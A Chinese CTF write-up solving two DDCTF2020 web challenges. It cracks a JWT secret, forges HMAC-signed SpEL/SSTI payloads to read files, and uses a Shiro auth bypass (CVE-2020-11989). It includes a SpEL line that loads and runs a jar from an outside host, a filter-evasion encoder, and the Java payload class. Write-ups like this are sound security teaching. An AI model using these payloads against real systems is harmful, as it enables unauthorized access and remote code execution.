DDCTF2020 WEB writeup

DDCTF2020 WEB writeup

前言

DDCTF是个挺好的比赛,题目质量很高,py程度很低。不知道今年为什么这么少队伍签到,难道跟别的比赛撞车了?

Web签到题

根据提示得知有来个api。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 Interface documentation
- login interface
[-][Safet Reminder]The Private key cannot use request parameter
Request
Method | POST
URL | http://117.51.136.197/admin/login
Param | username str | pwd str
Response
token str | auth(Certification information)

- auth interface
Request
Method | POST
URL | http://117.51.136.197/admin/auth
Param | username str | pwd str | token str
Response
url str | client download link

+------------------+ +----------------------+ +--------------------+
| | | | | |
| +----------------> +----------------> |
| Client(Linux) | | Auth/Command | | minion |
| <----------------+ +<---------------+ |
| | | | | |
+------------------+ +----------------------+ +--------------------+

访问第一个api,得到一串字符串,解码得知是jwt token

尝试一轮jwt的常规操作,最后用jwtcrack爆破出了密钥,修改payload中的userRoleADMIN提交到第二个api处。

得到了client的下载地址。

运行下client,发现并没有用户交互功能,命令都是硬编码在程序里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌─[p1ay2win@parrot]─[~/Desktop/Tools/c-jwt-cracker-master]
└──? $/tmp/client
2020/09/07 00:50:15
____ _ ____ _ ____ _____ _____ ____ ____ ____ ____
/ _ \/ \/ _ \/ \/ _\/__ __\/ / /_ \/ _ \/_ \/ _ \
| | \|| || | \|| || / / \ | __\_____ / /| / \| / /| / \|
| |_/|| || |_/|| || \__ | | | | \____\/ /_| \_/|/ /_| \_/|
\____/\_/\____/\_/\____/ \_/ \_/ \____/\____/\____/\____/


2020/09/07 00:50:15
+---------------------------------------------------+
|Flag Path := /home/dc2-user/flag/flag.txt |
|签名格式 := command|time_stamp |
+---------------------------------------------------+

2020/09/07 00:50:15
+------------------+ +----------------------+ +--------------------+
| | | | | |
| +----------------> +----------------> |
| Client | | Auth/Command | | minion |
| <----------------+ +<---------------+ |
| | | | | |
+------------------+ +----------------------+ +--------------------+


2020/09/07 00:50:15 [*]Start ping master...
2020/09/07 00:50:15 [-]http://117.51.136.197/server/health connect succuess
2020/09/07 00:50:15 [*]Start send command to minions...
2020/09/07 00:50:15 [+]get sign:Q4OkAWjsnkfxKiqMv5wuFRXjgS/gGEFalDPS5IfuGww=, command:'DDCTF', time_stamp:1599411015
2020/09/07 00:50:15 [+]send command url http://117.51.136.197/server/command and response:{"code":0,"message":"success","data":"DDCTF"}

抓包分析确实都是http的流量,参数通过json格式传递,还有个signature参数验证命令有没有被篡改。

本来想着通过IDA来修改原命令,但是只能修改到长度为8的命令。最后队友通过恢复符号表得知签名是命令加时间戳的HMAC-sha256,密钥为DDCTFWithYou

写了py测试下发现不会执行命令,但存在SSTI。

手动fuzz了下,发现拦截了getClassforName等等、classLoader没法打开url、exec直接状态码500,可能直接把Runtime的包给删了。

现在唯有文件读取能用,最后用到两个SSTI的payload,一个读目录,一个读文件:

1
2
(new java.io.File("/home/dc2-user/flag")).list()
T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get("/home/dc2-user/flag/flag.txt"))

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import time
import hmac
import base64
import json
import sys
import requests
from hashlib import sha256

appsecret = "DDCTFWithYou".encode('utf-8')

# command = '(new java.io.File("/home/dc2-user/flag")).list()'
command = 'T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get("/home/dc2-user/flag/flag.txt"))'
timestamp = int(time.time())
tmp = "{}|{}".format(command,timestamp).encode('utf-8')
signature = base64.b64encode(hmac.new(appsecret, tmp, digestmod=sha256).digest())

data = {}
data['signature'] = signature
data['command'] = command
data['timestamp'] = timestamp

url = 'http://117.51.136.197/server/command'
headers = {'Content-Type': 'application/json'}

r = requests.post(url=url,headers=headers,data = json.dumps(data))
print(r.text)

Easy Web

尝试登录下,看到Response Headers利用rememberMe=deleteMe,得知后端有Apache Shiro。

Shiro反序列化一把梭,打了个寂寞,毕竟哪有这么容易。众所周知在ctf里:

Easy不是真的easy,hard是真的hard。

在队友提醒下得知是CVE-2020-11989,Shiro权限绕过。一个斜杆加分号进入到后台。

1
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/index

一眼看到了任意文件读取,陆陆续续读到了web.xml、spring的配置文件和配置文件里能看到的class。

1
2
3
4
5
6
7
8
9
10
11
/WEB-INF/web.xml
/WEB-INF/classes/com/ctf/util/SafeFilter.class
/WEB-INF/classes/spring-core.xml
/WEB-INF/classes/spring-web.xml
/WEB-INF/classes/spring-shiro.xml
/WEB-INF/classes/com/ctf/auth/FilterChainDefinitionMapBuilder.class
/WEB-INF/classes/com/ctf/auth/ShiroRealm.class
/WEB-INF/classes/com/ctf/model/User.class
/WEB-INF/classes/com/ctf/model/Role.class
/WEB-INF/classes/com/ctf/service/UserService.class
/WEB-INF/classes/com/ctf/model/Permission.class

注意到两类,一个参数的值过滤了一些java的关键字,另一个记录了些链接。

打开最后一个链接,不知道怎么的就变成了admin用户,提供了一个输入框。

1
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/

测试下存在SpEL注入,输入[[${7*7}]]最后打开的结果是49。

参数过滤了很多关键字,但没过滤ClassLoader关键字,用UrlClassLoader试下发现可以连外网。

1
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://dnslog.cn/xxx.jar")}).loadClass("xxx").getConstructor().newInstance().toString()

当然,由于过滤了引号,字符串要用下面的py脚本转换下。

1
2
3
4
5
6
payload = "PUT PAYLOAD STRING HERE"
print ("true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0]), end='')

for i in range(1, len(payload)):
print (".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i]), end='')
print ("")

把编译好的class打包成jar扔到vps上,本来想着直接执行命令,但是命令并没有执行成功,有时还会报error,我还以为是代码的问题,折腾了好久。

最后还是以文件读取的方式读flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.io.*;
import java.util.*;

public class Cmd {
String res;
public Cmd(){
try {
File dir = new File("/");
String[] children = dir.list();
if (children == null) {
}
else {
for (int i=0; i< children.length; i++) {
String filename = children[i];
res += filename+'\n';
}
}

BufferedReader in = new BufferedReader(new FileReader("/flag_is_here"));
String str;
while ((str = in.readLine()) != null) {
res += str+'\n';
}
} catch (IOException e) {
}
}

@Override
public String toString() {
return res;
}
}

jar打包命令如下

1
2
javac .\Cmd.java
jar cvf Cmd.jar .\Cmd.class

可惜最后做出来才知道比赛时间已经过了。。

参考

# SSTI

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×